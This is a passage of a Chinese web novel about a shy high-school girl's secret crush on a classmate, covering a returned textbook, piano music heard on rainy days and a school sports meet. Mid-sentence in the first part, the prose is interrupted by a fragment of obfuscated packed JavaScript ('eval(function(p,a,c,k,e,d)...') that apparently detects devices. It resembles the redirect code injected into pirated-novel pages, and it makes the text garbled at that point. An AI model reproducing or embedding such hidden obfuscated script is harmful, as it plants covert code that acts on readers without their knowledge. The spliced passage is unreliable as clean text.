段圆圆在这样的目光逼视下,也不敢不做笔记。 她右手中拿着铅笔,小心且谨慎的在纪预的地理书上一笔一划的写字。 右手手腕上的手链偶尔因为写字的动作碰撞到桌子上,发出微微珰珰的声响。 杜女士从小就让段圆圆临摹书法字帖,硬笔和软笔都有练习,可惜段圆圆在写字方面没有什么天赋,靠着多年的苦练最后的字只能称得上是规整隽秀,不丑,勉强能拿得出手,但到不了像纪预的字这样好看的模样。 段圆圆在因为一手清秀的字得到老师的表扬时、在各种大小型考试拿到满分的卷面分时,她都没有过于喜悦,但在此刻,她却无比庆幸她的字迹不潦草扭曲,这样最起码等到纪预看到他的地理课本时,她能给他留下一个好印象。 她也希望纪预能再想到她时,不再是“哦,那个厕所拐角撞到我的女同学”,也不再是“下雨天跌倒在雨水里的女同学”,而是“一个字写的还挺工整的女同学”。 段圆圆怀揣着这样的小心思,每一个字、每一笔每一划都写得无比认真。 甚至有不满意的字,她还要用橡皮擦掉,接着再重新写一次。 江坞一中的硬件设备都很齐全,教室的黑板有两块,一块是固定的,还有一块可以拖动,这块可以拖动的黑板后面是智能电子白板。 现在地理老师正在将课件投屏到智能电子白板上。 现在她在讲的知识点是三圈环流。 她用的是一张彩色的地图作为示例,她拿着电子笔,在白板上的图例上圈圈画画。 段圆圆看了一眼白板,又低头,翻开了地理书里的地图页。 手指忍不住的摩挲着“眺看世界”这四个字。 “......因此气流抬升后,在高空分流,向副热带以及极地流动,形成中纬环流和高纬环流。”地理老师在讲台上讲的很投入,不经意的向下一瞥,便看到了低着头的、没有认真听讲的同学。 她顿了顿,没有指名道姓:“有一些同学,不要觉得低头看课本就行,课本上可没有我在这给你们讲的详细。” 段圆圆上学以来一直是老师眼里的乖学生,上课认真听课,课后认真完成作业的那一种不会三天两头翘课打架的学生,她从来没有被老师当众指责过。 明明刚才在教室里低着头的不止段圆圆一个人,可段圆圆听到地理老师的话,心虚似的对号入座,就像是真的被当中点名批评了一样,心中顿时无比难堪。 这堂地理课的后半段段圆圆抬着头,看起来她听的十分认真。 可事实上是,她一句话也没有听进去。 刚开始是因为觉得自己被批评了,觉得有些丢人,即使抬起头听讲,老师刚刚的话也不停的在她脑海里重复,慢慢的到后来,她就开始思考,下课还书的时候她该对纪预说些什么。 要不要说一下自己叫什么? 毕竟纪预还不知道她的名字,已经借过纪预的课本了,不说一下名字,显得不太礼貌。 可是贸然的过去对纪预说,“同学你好,我叫段圆圆”,这样又太奇怪了,而且还很尴尬突兀。 段圆圆实在找不到一个两全的办法。 既能让纪预知道自己叫什么,又不会让场面太尴尬。 她找出了自己放在桌洞里的便利贴。 那是她随手记录零散的知识点用的。 她找出墨蓝色的签字笔,在便利贴上认真的写下: 【谢谢你借给我地理课本。 段圆圆。】 便利贴是淡黄色,正方形的,还有淡淡的薄荷香气。 段圆圆把这张小小的便利贴贴到了地理课本的封面上,她怕便利贴的胶不够黏,还用力的按了按,直到确定便利贴不会中途掉下来,段圆圆才放心的松开手。 好不容易挨到下课,段圆圆拿起地理课本,还有一块草莓软糖—— 实在是她现在手边实在没有别的可以道谢的小礼物了。 她深吸一口气,做好心理建设,告诉自己不要紧张。 随后她向高一十班的后门走去。 高一十班也已经下课了。 周热坐在座位上,她的位置是全班离后门最近的位置。 她一眼就看到了段圆圆。 “来找我嘛?”周热笑了笑。 “不是的......”段圆圆声音很小,还有些不好意思,又有一点藏不住的小雀跃:“热热,帮我叫一下你同桌好吗?” 周热有些诧异,没想到段圆圆竟然不是来找她的,可她还是用笔轻轻的敲了敲纪预的桌子,纪预现在正在低头专心做题。 纪预闻声后抬起头,略微有些迷茫,他顺着周热手指的方向朝后门望去。 段圆圆脊背挺得很直,可她此刻有些局促。 十班的同学偶尔几个从后门出去,看向她的眼神似乎在说:啧啧,又是一个来咱们班看纪预的。 可事实并不是这样,她只是单纯的来还课本。 纪预看到段圆圆站在后门,他从座位上站起来,向段圆圆走去。 他的额前散落着几根碎发,看起来有些慵懒随意,他的腿很长,这几步路走起来也似乎带着风一样的好看。 纪预和段圆圆没有堵在教室的后门门口,走了两步到了走廊上的栏杆处,纪预漫不经心的靠着栏杆,低头轻笑一声,“来还书?” 刚刚下了第一节课,还不到九点钟,这时候的太阳正明媚的升起在纪预身后的那片蔚蓝天空,橘子色的晨光正蔓延惬意。 如阳光般的明朗少年站在段圆圆面前,他的脸清爽干净,眼眉之间尽是帅气,他的气质极佳,即使一只手臂漫不经心的撑在栏杆上依然能看的出身上有股如竹立般的挺拔,他的校服散发着淡淡的专属于他的好闻味道,段圆圆的脑海里骤然浮现出一句话—— 一切白的东西和你相比都成了黑墨水而自惭形秽。 这句话用来形容纪预真的再合适不过了:一切白的东西和他相比都成了黑墨水而自惭形秽,一切无知的鸟兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊,传说中他很冷哎!自从上个周开始,好多别的班的女生给他送礼物,他冷着脸谁的也没收,后来据说那些送礼物的女同学就直接把礼物放到他同桌的桌子上。”许净欢悄悄地趴在段圆圆耳边,“咱们班也有人去给纪预送礼物的。” “真的吗?!”段圆圆有些惊讶,大家都是一个班,为什么她这些八卦什么也不知道。 “是啊,你不住校不知道也正常,回到宿舍能听到不少咱们年级的八卦呢。”许净欢悄悄告诉段圆圆是哪个女生送的礼物,还告诉她,基本班里的女生都知道这件事。 段圆圆有些惆怅,没有她们那样大的勇气,可以勇敢的送出礼物,直白的表达欢喜。 也许她的喜欢,只是她一个人的独角戏。 没有告诉她的朋友们,也没有告诉......纪预。 她对他的暗恋,藏在云里,藏在风里,藏在每一个眼神心跳里。 13. —北冰洋— 因为课间找纪预还书的事情,段圆圆第二节课的心情特别好。 哪怕是会让她头痛不已的物理课,她也听的无比认真,甚至还觉得这节课比暑假时在辅导班听的简单多了。 周一早上的第二节课后是每周一次的升旗仪式。 全校三个年级的全体师生都必须参加。 楼梯上挤满了刚刚下课的学生们。 段圆圆和许净欢并肩向楼下走着。 “呼,物理太难了,刚开学就快听不懂了。”许净欢叹了口气,“本来还在担心万一结业考试考不过就惨了,这样下去,今晚的作业估计都要做到头秃。” “怎么会,考试肯定会通过的,据说结业考试的题目比较简单。”段圆圆立刻开口道,她的声音甜甜的,“作业慢慢做就好啦,把题型研究透彻,以后这一类的题目都会做了呢。” 段圆圆和许净欢两个人聊着天,以龟速缓缓的在楼梯上向下移动着。 段圆圆向下面的楼梯看了一眼,不确定为什么现在在楼梯处也会被堵住。 这一眼就如同有魔力一般,她一下子就看到了纪预的背影。 普通的白色校服短袖被他穿的清爽,少年的背影在一群一模一样的校服中仍然分外的挺拔。 段圆圆的目光紧紧的锁视追随着纪预,一秒钟也舍不得转开。 纪预似乎察觉到了有视线落在了他的身后,他漫不经心的抬了抬头,眼皮轻轻掀起,动作自然的抬头看了一眼。 段圆圆的目光就这样和纪预毫无预料又猝不及防的相对,段圆圆浑身像是被电流过了一遍,心虚又害羞的立刻偏了偏头,下意识的将视线转移。 不知道是不是段圆圆的错觉,在目光转移的那一瞬间,她似乎看到了纪预嘴边含着淡淡的笑。 段圆圆总觉得纪预笑起来少年气息十足,像刚刚打开的北冰洋汽水,细小绵密的二氧化碳小气泡争先恐后的从瓶底向上钻出,让你在这瞬间对面前的汽水毫无抵抗力,汽水含入口中,是冰冰凉凉爽爽的香甜,是浓浓的橘子清香,能化解这个夏天最沸热的燥意。 到了广场上后,按照学校的要求,每个班要分别站成四排。 段圆圆他们班不同于其他班级,男生女生分别各站两排,他们班而是女生站到前半部分,男生站到女生后面。 段圆圆即使个子在女生中不算矮,也站到了他们班级队伍的前半部分。 升旗仪式在学校的广场上举行。 全校全体师生人数庞大,各个班级之间的距离密集。 甚至班级与班级之间的距离也不甚明显。 十班就在九班的隔壁。 两个班级之间的队伍距离很近,从远处望去,看起来就像同一个班级。 从段圆圆的视角望去,她眼角的余光就能瞥见十班最外侧男生的队伍。 就在她这一列的旁边,距离近到两列队伍中间只能侧着才能通过行人。 纪预的身高很高,应该站在了最后。段圆圆心想。 那么是不是他有可能看到自己的背影? 段圆圆想到这里时,呼吸都停滞住了。 似乎她的后背被一道灼热的目光锁定,一阵又一阵火辣辣的。 她下意识的将后背挺直,站的更直了些。 她想,站的直一些,这个角度的背影应该是好看的。 随后她又很快自嘲的笑了笑。 明明大概率的是,纪预或许压根儿就根本没有向她这边看来,她做这些是在干什么呢? 可即使段圆圆意识到了这一点后,她的后背仍然依旧挺得笔直。 校领导讲话结束后,升旗仪式才算结束。 段圆圆的后背一直以一种在练舞蹈时的气质站立着。 她小的时候学过一阵子并不太系统的芭蕾舞。 当时小渔村来了一位芭蕾舞老师,到海边找灵感,小朋友们还没上学,这位老师就带着她们在少年宫的舞蹈室里练习芭蕾,动作都很简单,主要是为了培养她们的气质。 这位老师当时曾经夸赞过段圆圆有学习舞蹈的天赋,希望即使她离开后段圆圆也能继续坚持下去,段圆圆也的确又在少年宫和其他老师学习过一段时间,再后来小学三年级之后就没有继续学下去了。 大概两年左右的芭蕾学习时间,她认真练习了芭蕾老师要求的“开、绷、直、立”,段圆圆将体态气质练的很好,真正做到了芭蕾里说的“三直”,整体身体直,手臂直以及腿直。 一群小孩子里一眼望过去,她就是这里面最显眼的那一个。 而且段圆圆皮肤很白,那模样惹得大家都喜欢逗逗这个可爱的小姑娘。 但后来不练了之后,虽然整体气质让人一看就会说一句:这小姑娘是学舞蹈的吧。可再怎么气质方面也比不上练习的那段时间。 直到在今天的升旗仪式上,段圆圆一边听着校领导的讲话,一边后背崩得笔直,这才似乎又回到了小时候练习芭蕾舞的时候。 升旗仪式结束后,各个班级原地解散。 段圆圆在回去的途中还希望能遇到纪预,可以远远的看到他就好,毕竟两个班级离得这么近。 可是没有。 纪预被他们班的班主任叫走,似乎有什么话要单独对纪预说。 段圆圆和许净欢回到教室。 每周的周一总是让人感到疲惫,一个崭新的开始,意味着后面还有四天的课要上。 步入高中的新鲜感,在看到老师拿着课本走上讲台的那一瞬间消失殆尽。 作为学生,怎么也逃不出学习、做题、考试这三座大山。 这节课是老胡的数学课,作为班主任,和他们班的学生们之间总存有一种特殊的隐形的亲近感。 老胡站在讲台上,眯着眼睛,笑眯眯的说:“我有两个消息要告诉大家,一个好消息,和一个坏消息,不知道大家想先听哪一个?” 坐在下面的同学们刚刚从广场上回到教室,心还没有完全静下来。 听到老胡这么说,大家又沸腾了。 想先听好消息的、先听坏消息的全都有。 “那这样,先告诉大家好消息吧。”老胡把手中的数学课本放到讲台上,“好消息是十月一放假前的两天,也就是27、28这两天,学校要开秋季运动会,我把项目表放到教室前面的公告栏,等下课后大家考虑一下,自己有没有想报的项目,如果有,就到体育委员那里去报名。” 这确实是个天大的好消息。 班里的同学们立刻叽叽喳喳的讨论起来,想要报名掷铁饼的、短跑的、长跑的等等一系列项目的都有,一时间教室里充满了学生们的讨论声。 老胡只稍微清了清嗓子,教室里便立刻安静下来。 老胡显然对这很满意,“接下来说坏消息,那就是十月一国庆假期回来之后进行月考,希望大家从现在开始就要紧张起来,不要懈怠,争取在月考中考一个好成绩,大家不要忘记,除了同学、班级之间的比较,咱们第一分部还要和第二分部比一比呢,大家加油哦!” 考、考、考,老师的法宝。 这在学生中广为流传的语录果真名不虚传,正式上课还没几天呢,就连月考的时间都定下来了。 高一没有分文理科,月考要考全部的科目。 这复习起来简直是一项巨大的工程。 段圆圆在心里默默规划了一下学习计划,随后翻开课本,认真的听老胡讲课。 老胡在讲台上能将底下学生的模样尽收眼底,一看他们现在和霜打的茄子一样,忍不住安慰他们一下,“别垂头丧气的,怎么能未战气势上就输了呢?而且满打满算也就一个月的知识,放心,这次月考肯定不会很难的。” 不论怎样,班级里的学习氛围一下子好了许多。 段圆圆分心去想纪预的时间也变少了。 但高一十班是每次去厕所的必经之地,怎么也绕不过他们班,段圆圆每次经过时,都按耐不住的想要借这个时机遇到纪预。 不用面对面的撞见,只要能远远的看到他就好了。 可是今天很不巧,即使每个课间段圆圆都和许净欢出去,也没有遇到纪预。 他不在教室里,段圆圆也无从得知他的课间去了哪里。 高中这个年纪交朋友的能力简直活跃到让人震惊,甚至不同班级的学生也能聊得像认识了好多年一样。 许净欢趁着课间去厕所的路上悄悄的告诉段圆圆,他们班里已经有好几对偷偷在一起的同学,而且有的还是和别的班级的同学。 段圆圆很震惊,直到偶尔几次课间能遇到他们在教室外,态度暧昧的站在那里聊天,哪怕不是一个班级的,这短短的课间十分钟,也要见上一面。 段圆圆她忍不住的想,难道纪预不在教室,也是像他们一样,是因为其他班级有他喜欢的人吗? 想到这里,段圆圆的心像是被一只手紧紧的揪住,又酸涩又难受。 纪预借给她课本的喜悦在此刻和酸涩交织在一起,摇曳在晚风里,滋味只有她自己清楚。 晚自习的时候,段圆圆仍然没有看到纪预。 她抑制不住的去想,难道纪预真的是找其他班级的女同学了吗? 会是谁呢?会是学姐吗? 是长头发,还是短头发? 是窈窕纤瘦,还是活泼烂漫? ...... 明明这些和段圆圆一丁半点的关系也没有,可她就是被失落填满了整个心房。 段圆圆连作业也是到最后一节晚自习才勉强写完的。 她心情不太好,就连许净欢也看出来了。 “圆圆,今天的作业确实很难,你也别太难过了,还有快一个月才考试呢。”许净欢以为段圆圆是因为作业太多太难,不会做脸色才不好的。 “嗯,我知道的。”段圆圆点点头,轻轻的回复许净欢。 直到放学后和周热一起走,段圆圆从周热的口中得知,原来纪预,是被他们班主任叫走,让他准备省里的数学竞赛。 “数学竞赛?”段圆圆有些震惊和不解,“可是咱们开学这才几天,甚至还没有考过试......” 连一次正经的考试都没有过,就让纪预准备参加数学竞赛吗? 而且竞赛至少也要高二的学生吧,高一的学生也可以参加的吗? 周热也不清楚具体是怎么回事,“不知道我们老师是怎么打听到的,他貌似初中就很厉害,而且开学测试那次,他是全年级唯一一个满分。” 段圆圆的吃惊只维持了半秒不到,就很快做到了逻辑自洽。 的确,纪预就是一个这样优秀的人。也许在别人身上看起来像是奇迹一样的事情,在他身上再正常不过了。 他简直优秀到快要不真实。 回到家里,段圆圆的日记本就摊在她卧室的写字台上。 杜女士从来不会乱动、乱看她房间里的东西,所以她大摇大摆的放在写字台上也很安心。 但现在,此刻,段圆圆突然不想再这样随意的把日记本放到写字台上了。 她想把日记本认真的藏起来。 从日记本第一次记录到今天,其实日记本上只写了几句话。 段圆圆现在不想和任何人分享她的小秘密,纪预是她自己的、一个人的、难以言说的小秘密,就连说给日记本听也不可以。 她今天的心情很复杂,高低起伏过得大起大落,但她在日记本上只淡淡的记录了四个字。 2012/09/03 眺看世界。 写完后,段圆圆把今天在地理课上模仿纪预的字迹的纸条,夹到了日记本里。 纪预在地理课本的地图上写的那四个字,像是写到了段圆圆的心里,简简单单的四个字,组合到一起,却有种磅礴的魔力,想要让人即刻从东经73°33′,北纬3°51′出发,环绕全球周游世界。 就连日记本上“世”的写法,也是像纪预写的那样。 段圆圆找了一个带密码锁的小箱子,把纪预那一支黑色的打火机和日记本一起放进了箱子里,然后锁了起来。 月亮藏在天空,星光黯淡,晚风寥寥,树叶随风摇曳飘落,窗外的路灯一闪又一闪。 段圆圆躺在床上,身下的竹子凉席还没有撤去,屋外飘来淡淡的栀子花香,她在花香和风声中进入梦乡。 段圆圆即使是走读生,也要上早自习。 第二天到教室后,教室里已经不少同学了,但是大家都没学习,而是在讨论运动会报什么项目。 许净欢报了女子4×100米接力赛,她还问段圆圆要不要也报些什么项目。 段圆圆毫不犹豫的拒绝了,他们中考是要考体育的,很简单的考试,用体育老师的话说就是“送分考试”,人人都要拿满分才可以,因为就考一项——八百米跑步。 但就这简单的一项,也快折磨掉了段圆圆半条命去,她坚持天天在操场上跑步练习,她跑了无数个八百米之后,才勉强能满分。 所以 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段圆圆被钢琴声吸引,扶着楼梯向上走。 是她从来没有听过的钢琴曲。 悠扬婉转,继而又旋律激荡,这矛盾的两者在一起完全不冲突,反而碰撞出极为动听的旋律。 段圆圆想知道这是什么曲子。 她寻着声音走到顶楼,从教室的窗户上窥见,一个穿着校服的男生,坐在黑色的钢琴琴凳上,脊背挺直,眸色认真,神情专注,无比沉醉的弹着钢琴。 他的面前没有琴谱,他左右手修长的手指灵活的在钢琴的黑白键之间跳跃穿梭,时而和弦,时而轻音,时而重音。 钢琴声像是被赋予了灵魂,不断的振动外涌,谱写着动人的乐章。 雨水还在淅沥沥的落下,顶楼的走廊外只有段圆圆一个人。 她没想到弹钢琴的同学竟然会是纪预。 纪预因为弹钢琴而微微低着头,脸部没有过多的表情,但他的侧脸线条流畅,浓密修长的睫毛一眨一眨,在他的眼睑下落下淡淡的阴影。 纪预的手指因为在琴键上跨八度的演奏,段圆圆甚至能看到纪预手背上凸起的青筋。 他的皮肤很白,是冷白调,趁着手臂上淡淡的青色血管,有一种说不出的吸引力。 段圆圆不喜欢下雨天,这总让她想到回南天。 她害怕回南天那种钻人入骨的潮湿,害怕一切的一切开始发霉,害怕腐烂变质,害怕一切从美好变成虚无。 但现在,她无比感激下雨天。 因为下雨,天空乌云满片,阴沉沉的,没什么太阳,蒙蒙细雨不断落下,屋外笼罩在一片雾蒙蒙的景象之中。 可段圆圆的心却充满喜悦。 可在琴房内,有一束光。 这束光扫却了段圆圆心中的阴霾。 纪预指尖下的钢琴声无比动听,像一阵春天的暖风,温暖扑面而来,尤其是今天还是下雨天,这样舒服的感觉更加明显。 甚至好听到段圆圆不知道是谁弹的就被琴声吸引到顶楼。 可现在知道弹钢琴的人是谁了,段圆圆却不敢进去问他弹的曲子叫什么了。 段圆圆靠坐在琴房外,认真的听着纪预弹琴。 她不知道纪预是因为和她一样,下雨没有带伞,所以没有回家。 还是他每天都会来琴房。 纪预弹了很久。 一整个午休时间他都在弹。 段圆圆一直默默的在教室外听着。 直到琴声戛然而止,段圆圆看了眼手腕上的手表。 快上课了。 她立刻起身,在纪预走出琴房之前离开这里。 她在这一刻怕纪预看到琴房外的她。 纪预在琴房弹钢琴,这是段圆圆一个人的小秘密。 纪预的同学们不知道,只有段圆圆一个人知道。 因为察觉到这一点的段圆圆,一个人下午的心情都很好。 上课的时候都忍不住的低头轻轻抿了抿嘴巴。 虽然雨水持续下了将近一整天,还好在晚上放学前,雨水停了。 即使雨停了,回南巷里也有些积水。 段圆圆走的很小心,她怕自己再次跌倒。 正式上课后,他们高一也要上完整的晚自习,和高二高三一起放学,段圆圆放学的时间这条路上的走读生就多了起来。 可是说来也奇怪,她没有在放学的路上再次遇到过纪预。 段圆圆回到家后,就把雨伞放到了书包里。 她担心第二天继续下雨。 如她担心的那样,第二天雨水仍然淅淅沥沥的下着。 段圆圆带了伞,她本想撑伞走回家。 可她临到上午下课放学的那一瞬间又犹豫了。 她想知道纪预今天还会去琴房弹钢琴吗。 段圆圆她把雨伞藏到了桌洞的最内侧,依然一个人在教室里,等待着所有人离开。 直到教学楼又从喧闹恢复安静,她悄悄地上了顶楼。 每上一阶楼梯,段圆圆的心脏就砰砰的跳跃一下。 她期待,她紧张,她渴望。 还好,上天今天依然眷顾她。 她在琴房外听到了悠扬的钢琴声响起。 段圆圆今天拿了一本书。 是《鲁迅全集》的其中一卷。 她翻开书,靠在琴房外,安静的看。 雨声潺潺,但她一点不觉得烦闷,她的指尖翻阅了一页又一页。 反而正如书中所说,“绝望之为虚妄,正与希望相同”,她在纪预的琴声中听到了希望。 她从来没有奢求过和纪预能有什么故事。 纪预能知道她的名字,对她来说已经是意外之喜了,但她现在心底的希望火焰又悄悄燃起,在雨声中,在琴声中。 她默默的恳求上天,拜托拜托,让他们多一些、再多一些交集。 可上天并不是每一次都会眷顾听话的小孩。 连着下了两天的雨,接着就是像重新回到了夏天。 烈日高照,雨水的痕迹消失的一干二净。 段圆圆每天中午没有理由再一直留在教室里。 如果她再继续留在教室里,杜女士都该察觉到不对劲了。 可是段圆圆仍然期待着,什么时候能再听到纪预弹的钢琴。 14. —纯黑色— 期待之所以被称为是期待,是因为有很大的几率会落空。 接下来的几天,段圆圆没有任何理由在午休时间留在教室。 下午最后一节课和晚自习之间有很长一段自由活动时间,是留给学生们的晚餐时间,段圆圆某天趁着这个时间,悄悄地去过顶楼的琴房,可那一层安安静静的,再没有任何琴声。 安静到仿佛段圆圆之前听到的从琴房穿出的钢琴声,就像是一场甜美虚幻的梦。 段圆圆将纪预弹钢琴的那一幕幕放在心底,她安心投入的学习,为高中的第一次月考打基础。 就算是高一,离他们高考还有两年多的时间,可是所有的授课教师也都进入了紧张集中的状态,最明显、最直白的表现就是拖堂。 课间十分钟,拖堂到课间八分钟、再拖堂到课间五分钟。 下一节课的老师再提前两分钟进来,学生们的课间时间越来越少。 有些时候去个厕所,回来就到上课的时间了。 其实不止是他们班,整个年级所有的班级都进入了这种状态。 才高一,就已经开始展望高三了。 段圆圆在课间遇到纪预的次数越来越少。 前几天她得到的快乐恩赐太多,这仿佛是听到他弹钢琴之后的另类“惩罚”。 虽说学习的日子过得很慢,但大家都期待的运动会就像是闪闪诱人的奖品在前方吸引着他们。 尤其是老胡还拿来了运动会的赛程安排人员,他直接将两天运动会的赛程安排贴在了教室里的公告栏上。 段圆圆和同学们一起凑到公告栏前,看教室里张贴出来的赛程安排。 都是本班学生的赛程安排,但是会在项目内显示同组对手的名字。 段圆圆看到了纪预的名字,纪预报了男子1500米。 她有些吃惊,在她看来,跑步是世界上最累的体育项目了,没有之一。 她没想到纪预的体力这么好。 段圆圆他们班是体育委员林晨安报的一千五百米,他是作为体育生被特招进来的,对他来说一千五百米不在话下。 林晨安指了指他报的项目,作为体育委员的他,报的不止一千五百米这一个项目,他对着围在周围的同学大声的讲:“大家可千万别忘了我的比赛时间,到时候一起看我为咱们班级争光啊!” 林晨安至少有一米八,长得浓眉大眼,是很讨喜的长相,和同学们的关系也不错,听到他这么说,周围的同学开始起哄,难道他就这么有把握能拿第一? 林晨安很骄傲的点点头,毫不谦虚的说他保证能全部拿第一。 他是参加了许多比赛和考试,以全市第一名的体育成绩被特招进江坞一中的,所以他有这个把握和信心。 段圆圆对林晨安他们的话并不感兴趣,但他的话提醒了段圆圆,她默默的在心里记下了一千五百米的比赛时间。 不知道纪预能否进入决赛,但段圆圆还是将男子一千五百米的初赛、复赛、决赛的时间都记下了。 她想她一定不会错过每场有纪预的比赛。 运动会这天学校不强制要求穿校服,并且还不需要上早自习。 段圆圆毫不犹豫的从衣柜里拿出了一件纯黑色的卫衣,设计很简单,而且卫衣并不算厚,这个季节穿刚刚好。 她从柜子里挑了一条牛仔裤用来搭卫衣,只不过牛仔裤太久不穿,有些紧身,段圆圆有些犹豫,是不是需要要再换一条裤子。 但其他的裤子都没有这条牛仔裤搭配卫衣好看,段圆圆不再犹豫,很快从卧室内出来,她走到玄关处,穿鞋的时候对杜女士说:“妈,我今天先不吃早饭啦,直接去学校开运动会了。” 杜女士还在厨房里煎鸡蛋,听到段圆圆的话后立刻关掉燃气,手里拿起一盒牛奶,连忙塞到了段圆圆手里,段圆圆拿好牛奶,穿好她的白色板鞋就出门了。 这一路上碰到的学生不再穿着单调的校服,大家都穿的是自己的衣服。 许净欢走到一半突然记起来她的眼镜落在教室了,段圆圆陪着她又折返回教室拿眼镜。 高一的运动会观赛场地被安排到了学校操场主.席台两侧的阶梯上,九班和十班依旧作为兄弟班级位置紧挨着。 等到段圆圆和许净欢找到他们班的位置时,才发现只剩下后面视线不太好的位置了。 段圆圆和许净欢只好坐在他们班的最后一排,也是最高的一层阶梯。 “不好意思圆圆,都怪我,不然咱们俩肯定不会坐到最后面的。”许净欢有些懊恼的擦着手里的眼镜,“这里好像离得有些远,看不太清,偷偷溜走也不太方便。” 段圆圆脸颊有些微红,像是一路上小跑来喘的,又像是被太阳晒的,但仔细看看,好像又都不太像。 她拍了拍自己的脸颊,侧过头对许净欢说,“怎么会呢,这里位置很好啊,俗话讲‘站得高,看得远’嘛!” 许净欢抱了抱段圆圆,“你说的有道理!” 段圆圆的视线一直微微看向旁边的班级,他们班旁边是十班。 段圆圆的位置刚好能一眼就看到纪预。 纪预的身后没有人,没有任何遮挡视线的存在,段圆圆能很清楚的看到他的背影。 纪预今天穿了一件黑色的短袖,手肘随意的撑在他身后的阶梯上,阳光落在纪预的发梢,他的整个背影看起来潇洒恣意。 段圆圆的头时不时的就转动一下,她故作自然的看着纪预的背影,随后她下意识的拽了拽她的袖口。 她为数不多的几次见到纪预穿他自己的衣服,都是以黑色为主的,所以她今早猜测纪预在运动会也还会穿黑色的衣服。 她在挑衣服的时候,才毫不犹豫的选择了黑色的卫衣。 明明今天早上挑衣服的时候很果断,但现在自己心里的猜想被印证后,段圆圆反而害羞了。 他们两个人一个人穿的是长袖,一个人穿的是短袖,除了颜色相同之外没有其他任何的相似之处,但段圆圆还是抑制不住的心跳。 她在心里不停的默念:这不是情侣款,这只是两件完全不相关的衣服。 可她还是紧紧的拽着自己的袖口,努力让她尽快恢复平静。 纪预的耳朵上带着耳机,白色的耳机线随意的落下。 不知道他耳机里听的是什么歌,段圆圆在心里默默的想。 距离林晨安报名的一千五百米初赛还有一段时间,他就在一群同学面前大声的喊:“别忘记给我加油哦!还有大家可以给广播站投稿,听老班说投稿被选中朗读是有加分的。” 林晨安在同学中的人缘不错,听到他这么讲,不少同学准备拿出本子,在考虑写些什么给广播站投稿。 段圆圆和许净欢也拿出本子,尤其是段圆圆,思考的很认真,她一个比赛项目也没有报名,所以投稿为班级争光的事情,她不想再错过了。 “想的这么认真?”许净欢凑到段圆圆身边,偷偷的从长袖里拿出一块手机,“上网一搜索有好多呢。” “你带手机啦?”段圆圆谨慎的看了看周围,确定老胡没在,才继续说,“老胡不是不让在运动会带手机吗?” “这还不简单,不让他发现不就好啦。”许净欢脱下她的长袖外套,用外套包住手机,“快点,咱们一起抄。” 段圆圆和许净欢还没有来得及写几篇,就到了许净欢报名的4×100米比赛的时间了。 许净欢去赛场前,段圆圆笑着对她说,“净欢加油,这篇稿子我专门写给你的,我和你一起过去,我去投稿,你去比赛。” “爱你爱你,放心啦,肯定没问题哒。”许净欢毫不紧张。 她们现在在阶梯的最上方,整个阶梯上坐满了学生,如果想从主.席台两侧专门下楼的楼梯上下去,还要有一段距离,所以她们选择了最近的路,直接从她们现在位置的阶梯上下去。 这样就不可避免的从十班经过。 段圆圆路过纪预那一层台阶的时候,假装毫不在意的从他身边经过,但余光还是不可避免的看向他。 段圆圆站着,纪预坐着。 这样的视线刚好瞥见他高挺的鼻梁和低垂的眼眸。 阳光落在纪预手指尖,段圆圆的心跳莫名的加快。 九月末的天气在夏天和秋天里来回徘徊,既像是夏天,又像是秋天。 阳光很刺眼,段圆圆睁不开眼睛。 段圆圆的投的稿子被选中了,在许净欢比赛的时候念了出来。 许净欢和其余的三个准备接力赛的女生赛前那么自信,但没想到成绩并不好,接力赛没有复赛,只有初赛和决赛两场,她们并没有进入决赛。 “不要灰心,刚刚已经很棒啦。”段圆圆笑着跑到许净欢身边,把手中的矿泉水递给她。 “嘿嘿,都比完啦,可以安心的看比赛了。”许净欢喝了一口水,指了指不远处的队列,那里大概有十个人,“看到咱们班的体委了,他要比赛了哎。” 段圆圆听到后,下意识的向十班的看台望去。 纪预还安静的坐在看台上,耳机似乎将他与 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一来一回用了不少时间,她们俩刚坐下没多久,就到了男子一千五百米的比赛时间了。 老胡觉得天气太热,和几个老师躲到树荫下乘凉去了。 许净欢拉着段圆圆到了一个视野很好的位置,可以将他们看的更清楚。 纪预穿着黑色短袖和黑色长裤,站在一千五百米的队列中,后背上别着他的参赛编码牌,是红色的数字,11001。 高一十班第一位运动员。 他旁边的男生就是林晨安,他后背的编码牌写着10901。 纪预的耳机已经收起来了,他站在阳光下,揉了揉手腕,又转了转脚踝,在做赛前的热身。 段圆圆的目光顺着望过去,纪预穿了一双白色的运动鞋。 她低着头,看了看自己的脚下,也踩着一双白色的板鞋。 这样毫无关联的默契却让她莫名的开心。 其实不止是九班和十班,周围已经有不少的女生,目光都落在纪预身上。 有几个女生开始悄悄地小声说话,“01号好帅啊。” 旁边的女生问她:“你说的哪个01,有两个呢。” 这个女生似乎觉得她的朋友问的问题太没有含金量了,很理所当然的说:“当然是11001啊,是十班的纪预,课间操下楼的时候我在楼梯上见过他好几次,真人超帅的。” 她的朋友很快的反驳她,“我知道纪预是谁了,听说他态度好冷,不像他旁边的10901,是九班的体委,性格好长得也好看。” 段圆圆和许净欢就站在她们身边,她们的对话两个人听的一清二楚。 许净欢悄悄地凑到段圆圆耳边,用极其微弱的声音说,“竟然还会有人觉得咱们班体委帅啊。” 段圆圆被她的话弄的耳朵痒痒的,忍不住抬手揉了揉。 其实她并不关心体育委员长得算帅还是不帅,她想到了刚刚那个女生说的在课间操下楼的时候见过纪预。 原来不止是她自己,还有这么多的人都在默默关注着他。 九班和十班的课间操位置是挨着的。 按照身高排队,纪预在他们班的最后面。 段圆圆只有在需要转身的动作时,才能明目张胆的看到纪预。 可看到的只是纪预转过身去的背影。 只有等到课间操结束,回教室的途中,段圆圆才会偶尔从他身边擦身经过。 只是不经意的路过,也足够让她心跳扑通扑通跳个不停。 一千五百米的参赛选手早就到齐了,但是迟迟还没有开赛。 围在这里的不少女生都拿出手机偷偷的拍纪预。 许净欢也拿着手机在拍。 段圆圆凑到她身边,才发现她其实是在自拍。 “圆圆,咱们一起拍。”许净欢拉着段圆圆,“一、二、三,茄子。” 段圆圆笑着比了个耶,“我还以为你也在拍他们呢。” “等他们跑起来再拍多好看呐。”许净欢有些纳闷儿,“怎么还没开始?” 段圆圆也有些奇怪,按理说比赛早该开始了。 